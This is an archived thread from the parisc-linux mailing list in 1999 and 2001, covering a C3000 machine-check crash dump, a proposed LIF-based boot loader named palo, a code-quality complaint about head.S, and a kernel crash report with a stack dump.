X-Trace: ger.gmane.org 1416619807 14709 80.91.229.3 (22 Nov 2014 01:30:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Thu Oct 21 16:50:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA14670
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 16:50:54 -0600
Original-Received: (qmail 29120 invoked by uid 15267); 21 Oct 1999 22:51:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29109 invoked from network); 21 Oct 1999 22:51:50 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 22:51:50 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA02518
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 16:51:51 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA29954; Thu, 21 Oct 1999 15:51:58 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 21 Oct 1999 14:57:20 PDT."
             <199910212057.OAA19923@debian.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10063

Paul Bame wrote:
> The short answer is once control is apparently transferred to the
> kernel, the system dies hard.  Someone who can read PIM dumps
> might deduce more from this log.

I can't find a PIM decoder for the C3000....I'll try the J5000
decoder later. Here's a few more notes by hand.
I saw Stan Sieler's reply and can fill in a few more gaps.

> HPMC Chassis Codes = 2cbf0  2500b  2cbf5  2cbfc

The bus time-out suggests the processor tried to access
0xfffff80810 and no device lives there.  The processor saw
an error condition (bus timeout) and brought the system down.

...
> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x0000000000010188
> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030103b
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x000000fffff80810
> System Requestor Address     = 0x000000fffffa0000

Responder is the address which was supposed to respond.
Requestor is the address of the device which started the transaction.
I would guess 0xff_fffa0000 is the processor.

What's at 0xff_fff80000?
And which driver uses offset 0x810?
(card-mode Dino does....but am pretty sure the kernel didn't get that far.)


This is the interesting part:

> 'B1000/C3000/J5000/J7000 Unarchitected (per-CPU)', revision 1, 140 bytes:
> 
> Check Summary                = 0xcb81041008000000
> Available Memory             = 0x0000000030000000
> CPU Diagnose Register 2      = 0x0200000000000204
> CPU Status Register 0        = 0x2420c20000000000
> CPU Status Register 1        = 0x8002000000000000
> SADD LOG                     = 0x0000000000000000
> Read Short LOG               = 0xc1af00fffff80810
	This is another copy of the offending address.

> ERROR_STATUS                 = 0x0000000000100010
	Broad Error on the Runway Bus
	
> MEM_ADDR                     = 0x000001ff3fffffff
> MEM_SYND                     = 0x0000000000000000
> MEM_ADDR_CORR                = 0x000001ff3fffffff
> MEM_SYND_CORR                = 0x0000000000000000
	No memory problems.

> RUN_DATA_HIGH                = 0xc1bff0fffed08040
> RUN_DATA_LOW                 = 0xc1bff0fffed08040
	Last data on runway before the error.
	0xFF_FEDO_8000 is runway bus interface register space.

> RUN_CTRL                     = 0x0000021c00001418
> RUN_ADDR                     = 0xc1bff0fffed08040
	Last ctrl/addr on the runway bus before the error.

> System Responder Path        = 0x00ffffffffffffff
	NULL path - default value. Not PCI related.
...


On K/T-class system, the I/O error log was invaluable.
Not sure how useful it is on this set of boxes.
I'm sure we'll see.

> 'B1000/C3000/J5000/J7000 IO Error Log', revision 0, 228 bytes:
> 
>  Rope     Word1        Word2            Word3
> - ------ ------------ ------------
>    0    0x00000000   0x0e0cc009   0x00000000fed30048
>    1    0x00000000   0x1e0cc009   0x00000000fed32048
>    2    ----------   0x2e0cc009   ------------------
>    3    ----------   0x3e0cc009   ------------------
>    4    0x00000000   0x4e0cc009   0x00000000fed38048
>    5    ----------   0x5e0cc009   ------------------
>    6    0x00000000   0x6e0cc009   0x00000000fed3c048
>    7    ----------   0x7e0cc009   ------------------

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot loader
Date: Thu, 21 Oct 1999 18:55:38 -0500
Lines: 98
Approved: news@gmane.org
Message-ID: <199910220055.SAA20611@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619807 14715 80.91.229.3 (22 Nov 2014 01:30:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Oct 21 18:54:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15325
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 18:54:49 -0600
Original-Received: (qmail 6571 invoked by uid 15267); 22 Oct 1999 00:55:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6564 invoked from network); 22 Oct 1999 00:55:46 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 00:55:46 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id SAA16253
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 18:55:39 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id SAA25732 for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 18:55:39 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id SAA20611
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 18:55:38 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10064


Here's a sketch of a new (really, mostly stolen from other places
like the existing boot_code code) boot loader for parisc.  It's
aimed at solving some of our current problems (like linking ramdisks
into the kernel) and being good enough to live on for a while,
and be easily replaced if it starts to smell bad.

In order to use HP boot firmware, our disk layout has to look
at least somewhat like a LIF volume (as it does today), so it
makes sense to use LIF for a few other things too.  LIF is a
very simple file system layout -- almost as simple as the one
we were going to use for ramdisks.

My proposal is to have a LIF volume on the beginning of any disk
from which one might boot.  Make that LIF volume at least 2Mb, and
maybe 10Mb if you want to store several kernels and ramdisk images.
Here are the files it would hold:

	IPL		Pretty much the boot loader we're using today
			with some LIF intelligence added
	vmlinuz		The kernel image, put there with the 'lifcp'
			command.  Could have several kernels
			on the LIF volume and boot any of them.
	cmdline		The default, or the last?, command line used
			to boot Linux.  Could possibly have several
			different command lines in one or several files
			but the UI for this needs thought.
	ramdisk		One or more files containing ramdisk images
	ptable		Partition table -- see below

During boot, the IPL is same as today.  It presents a
command line just like today, from the 'cmdline' file if one is
available.  On the command line you can select which kernel to
boot if you have more than one and enter the normal Linux
command-line parameters.  There'll be some little extension to handle
specifying which ramdisk image you want, which is stripped off
by the IPL and not passed to the kernel in that form.  The HP
firmware would continue to be used, as it is today, to select whether
you want to interact with the boot loader command line or not.

When the command line is committed, the ramdisk and kernel are loaded
just like they are today (using the same code probably) the kernel
is told how to find the ramdisk image (need to learn how this is done).

Non-bootable disks can skip the LIF volume header altogether, though
they might want it just in case they want to be bootable in the future.

			Partition Table

I suggest we place the partition table at a fixed low address on
the disk such that it can appear as a file in the LIF file system
on disks which have them, and be in the same location on non-LIF
disks just there wouldn't be any LIF sugar around it.  This way
the table's always in the same place which is easy for the tools
which use it, and it's a LIF file too which might be convenient.
Alex suggests we re-use maybe the sparc partition table format?

			Development Cycle

After building a new kernel, you'd have to
'lifcp <the-kernel-image> /dev/sda:vmlinuz' instead of
doing 'mkImage' like we do today.  It's also cool that the ramdisk
isn't linked into the kernel.

		    If you already have HP-UX

The existing HP-UX LIF volume header has less than 300k of free
space, so it wouldn't be large enough to hold vmlinuz, therefore
you can't boot from an existing HP-UX volume.  Which means if
you want to keep your HP-UX disk intact, you'll have to add another
disk for Linux, and I think the firmware can handle booting from
one of several disks just fine.

			    Tools

lifinit and lifcp should already be able to handle the LIF stuff, so
no new C code required to build the LIF volumes.  We can probably
talk HP into open sourcing the LIF commands, and if not can grab
the ones from OpenBSD.  For now we can use the ones on HP-UX.
[I suspect the HP ones are not byte-order safe (yet).]

			    Future

It's relatively easy to replace IPL (and vmlinuz for that matter)
in the scheme above with wonderful new stuff when we figure out
what that is.  The firmware and existing disk headers wouldn't
have to change to accomodate a new boot loader.

			    The Name

BTW the current contender for the name, instead of hilo, is palo
for PArisc LOader.  It is also a reminder of of Palo Alto
which is where HP began.

Comments?

			    -Paul Bame


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 17:57:49 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <380FB68D.A8F28E62@hp.com>
References: <199910212057.OAA19923@debian.fc.hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619807 14718 80.91.229.3 (22 Nov 2014 01:30:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:07 +0000 (UTC)
To: Paul Bame <bame@debian.fc.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Thu Oct 21 18:57:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15431
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 18:57:07 -0600
Original-Received: (qmail 7198 invoked by uid 15267); 22 Oct 1999 00:58:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7186 invoked from network); 22 Oct 1999 00:58:03 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 00:58:03 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA13398
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 17:57:54 -0700 (PDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id RAA13179; Thu, 21 Oct 1999 17:57:50 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:10065

Paul Bame wrote:
> 
> This is long.  Thanks to Alex Williamson for this -
> 
> The short answer is once control is apparently transferred to the
> kernel, the system dies hard.  Someone who can read PIM dumps
> might deduce more from this log.
> 
>         -Paul Bame

< detailed HPMC info deleted>


We found it...

I'm cutting this from another discussion, don't feel like re-typing it.
The file we are talking about (giving line number references) is head.S.
We calculated the the offending offset was at label "blargh" plus a bit.

The following discussion talks about how we get to the code section
where the HPMC occurs.  Earlier, we talked about hard-coding magic
addresses, which are machine specific (that's in the macro "debug",
which is what actually caused the HPMC -- line 162).


<ggg> I was looking at how we get to blargh and don't get it. Only one
  location branches there.
> yes, it compares r28 to zero
> ah, r28 is the return value from the procedure called from line 265 (duhhhh)
> r1 is loaded at line 251 (the value of MEM_PDC, from page zero)
> That should be the entry point to PDC.
> So there's an error returned by the pdc call at line 265.
> calling PDC_BLOCK_TLB().  [arg0 = 18].  PDC_BLOCK_TLB doesn't exist on a
  PA2.0 server (and I assume the same for workstations), because block TLB
  entries don't exist, we have variable size pages instead.


Then I get a little incensed at the coding style here.... (editing out other
people's responses to my tirade)


> This is a **bogus** way to write code.  Comments should be required!!!!!! 
  Is there any way to encourage that?
> But I'm *extremely* serious about that.  This code is unmaintainable in it's
  current form.  It's going to be miserable adding 2.0 support to something
  like that.
> it's important to anyone who would like to pick up head.S and be able to
  read it.  To decode the procedure call I had to know where to find
  documentation for page zero, know what PDCE_PROC is, figure out what PDC
  procedure was being called.
> For me, it was about 45 seconds instead of the two seconds it would take to
  read a comment.
> For someone who doesn't have my background, it could be hours.


Ok, tirade mode off.  This is where my newbie status becomes apparent.  Please
excuse any foot in mouth here.  I looked at the Puffin web page and didn't
notice anything about the process of making sure that code that is submitted
has some minimal level of quality.  Is it just a matter of the community
applying peer pressure?

-Frank Rowand


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot loader
Date: Thu, 21 Oct 1999 18:39:36 -0700 (PDT)
Lines: 64
Approved: news@gmane.org
Message-ID: <199910220139.SAA29964@bart.allegro.com>
References: <199910220055.SAA20611@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619808 14721 80.91.229.3 (22 Nov 2014 01:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: sieler@bart.allegro.com  Thu Oct 21 19:40:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA16090
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 19:40:07 -0600
Original-Received: (qmail 19680 invoked by uid 15267); 22 Oct 1999 01:41:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19652 invoked from network); 22 Oct 1999 01:41:02 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 01:41:02 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id SAA29964;
	Thu, 21 Oct 1999 18:39:37 -0700
In-Reply-To: <199910220055.SAA20611@debian.fc.hp.com> from "Paul Bame" at Oct 21, 99 06:55:38 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:10066

Hi,

> My proposal is to have a LIF volume on the beginning of any disk
> from which one might boot.  Make that LIF volume at least 2Mb, and
> maybe 10Mb if you want to store several kernels and ramdisk images.
> Here are the files it would hold:
> 
> 	IPL		Pretty much the boot loader we're using today
> 			with some LIF intelligence added
> 	vmlinuz		The kernel image, put there with the 'lifcp'
> 			command.  Could have several kernels
> 			on the LIF volume and boot any of them.
> 	cmdline		The default, or the last?, command line used
> 			to boot Linux.  Could possibly have several
> 			different command lines in one or several files
> 			but the UI for this needs thought.
> 	ramdisk		One or more files containing ramdisk images
> 	ptable		Partition table -- see below

As long as you don't want to use LIF utilities to access those files,
lowercase should be okay.

The LIF tools won't accept lowercase filenames.
Why care?  Because you could possibly boot HP-UX and use the LIF tools 
to manipulate the vmlinuz file, for example.

Example:  

   Oz(su) /: lifcp test /dev/dsk/c0t0d0:vmlinuz
   lifcp: Cannot create vmlinuz   ; improperly formatted LIF name
   Oz(su) /:

(BTW, the lifcp "-t" option won't help)

I'd suggest using uppercase, and making the IPL smart enough
to allow user-entry of lowercase (which gets mapped to uppercase)

> After building a new kernel, you'd have to
> 'lifcp <the-kernel-image> /dev/sda:vmlinuz' instead of
> doing 'mkImage' like we do today.  It's also cool that the ramdisk
> isn't linked into the kernel.

Note: my lifcp test was on 10.20
 
> lifinit and lifcp should already be able to handle the LIF stuff, so
> no new C code required to build the LIF volumes.  We can probably
> talk HP into open sourcing the LIF commands, and if not can grab
> the ones from OpenBSD.  For now we can use the ones on HP-UX.
> [I suspect the HP ones are not byte-order safe (yet).]

If that happens, we could support lowercase.
 
> 			    The Name
> 
> BTW the current contender for the name, instead of hilo, is palo
> for PArisc LOader.  It is also a reminder of of Palo Alto
> which is where HP began.

Great name!
 
-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Updated to 2.4.1
Date: Tue, 30 Jan 2001 21:54:46 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20010130215446.F29642@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619808 14724 80.91.229.3 (22 Nov 2014 01:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Tue Jan 30 14:51:06 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA16458
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 14:51:03 -0700
Original-Received: (qmail 9453 invoked by uid 15267); 30 Jan 2001 21:54:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9332 invoked from network); 30 Jan 2001 21:54:50 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 21:54:50 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Nije-0000UV-00
	for parisc-linux@thepuffingroup.com; Tue, 30 Jan 2001 21:54:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10067


i've just merged 2.4.1 into our tree.  expect this to be a regular
occurrence during the 2.4.x series.  No major changes to note, over
Linus' changes.  I hear that ReiserFS doesn't work on big-endian
systems, so nothing to get excited about.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Tue, 30 Jan 2001 23:02:16 +0100 (CET)
Lines: 17
Approved: news@gmane.org
Message-ID: <200101302202.XAA16424@zaphod.halden.lillfab.se>
References: <200101292201.OAA26531@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619808 14729 80.91.229.3 (22 Nov 2014 01:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: 5116@telia.com  Tue Jan 30 14:58:22 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA16799
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 14:58:20 -0700
Original-Received: (qmail 23617 invoked by uid 15267); 30 Jan 2001 22:02:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23596 invoked from network); 30 Jan 2001 22:02:20 -0000
Original-Received: from maile.telia.com (194.22.190.16)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 22:02:20 -0000
Original-Received: from zaphod.halden.lillfab.se (t5o70p10.telia.com [195.67.239.10])
	by maile.telia.com (8.9.3/8.9.3) with ESMTP id XAA12414;
	Tue, 30 Jan 2001 23:02:18 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA16424;
	Tue, 30 Jan 2001 23:02:16 +0100
In-Reply-To: <200101292201.OAA26531@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10068

On 29 Jan, Grant Grundler wrote:

> 
> register_fallback_cpu() was one of the functions used by older HW
> that I was not able to test. If anyone has time to pull a new kernel
> and play with it, that would be good. Please let me know ASAP, if I
> broke it. I'm happy to help fix it again.

I just tried a freshly built kernel cvs updated two hours ago and is
crashed with a stack dump right after the serial driver sign on message.

I have a 715/old

/Daniel
-- 



From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Tue, 30 Jan 2001 14:10:08 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200101302210.OAA28167@milano.cup.hp.com>
References: <200101302202.XAA16424@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619809 14733 80.91.229.3 (22 Nov 2014 01:30:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: grundler@cup.hp.com  Tue Jan 30 15:04:16 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA17025
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 15:04:04 -0700
Original-Received: (qmail 1181 invoked by uid 15267); 30 Jan 2001 22:08:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1126 invoked from network); 30 Jan 2001 22:08:05 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 22:08:05 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 8240F2878; Tue, 30 Jan 2001 14:08:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA28167;
	Tue, 30 Jan 2001 14:10:15 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 30 Jan 2001 23:02:16 PST."
             <200101302202.XAA16424@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10069

5116@telia.com wrote:
> I just tried a freshly built kernel cvs updated two hours ago and is
> crashed with a stack dump right after the serial driver sign on message.

Nice. If you post the console output here, I might be able to help.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Tue, 30 Jan 2001 23:47:35 +0100 (CET)
Lines: 94
Approved: news@gmane.org
Message-ID: <200101302247.XAA16738@zaphod.halden.lillfab.se>
References: <200101302210.OAA28167@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="-1463811727-1681692777-980894855=:32268"
X-Trace: ger.gmane.org 1416619809 14736 80.91.229.3 (22 Nov 2014 01:30:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: 5116@telia.com  Tue Jan 30 15:43:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA18616
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 15:43:34 -0700
Original-Received: (qmail 4176 invoked by uid 15267); 30 Jan 2001 22:47:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4160 invoked from network); 30 Jan 2001 22:47:38 -0000
Original-Received: from maild.telia.com (root@194.22.190.3)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 22:47:38 -0000
Original-Received: from zaphod.halden.lillfab.se (t3o70p69.telia.com [62.20.149.69])
	by maild.telia.com (8.9.3/8.9.3) with ESMTP id XAA11508;
	Tue, 30 Jan 2001 23:47:35 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA16738;
	Tue, 30 Jan 2001 23:47:35 +0100
In-Reply-To: <200101302210.OAA28167@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10070

---1463811727-1681692777-980894855=:32268
Content-Type: TEXT/plain; CHARSET=US-ASCII

On 30 Jan, Grant Grundler wrote:
> 5116@telia.com wrote:
>> I just tried a freshly built kernel cvs updated two hours ago and is
>> crashed with a stack dump right after the serial driver sign on message.
> 
> Nice. If you post the console output here, I might be able to help.
> 
OK, here we go.

/Daniel
-- 


---1463811727-1681692777-980894855=:32268
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Disposition: attachment ; filename="fail.cap"

Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize          d
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI en

Dumping Stack from c2fcc000 to c2fcca80:
c000 00000000 00000040 00000000 00000000 c026f320 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c026f1e4
c040 c026f1e4 00000029 c2fc0000 c02a0000 c027460c 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 c02a0000 c02a0000 c2fb0000 00000000 00000000 c2fb0098 c02a0098
c0a0 00000000 c02bc118 00000000 c2fcc0ac c2fcc0ac c2fcc908 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 c2fcc000 c011aa98 00000000 00000009 00000000 00000000 00000023 00000000
c100 0000002c 00000000 00000000 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 ffffffff 00000000 c026ffcc ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 00000300 00000300 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00003000 0198420b
c260 00000000 c0142768 00008000 c2ffeca0 c021ac4c c022b9cc fc4ff000 00504cf0
c280 00000000 c0117334 c02ba800 00003000 0198420b c02ba800 00000000 0004000a
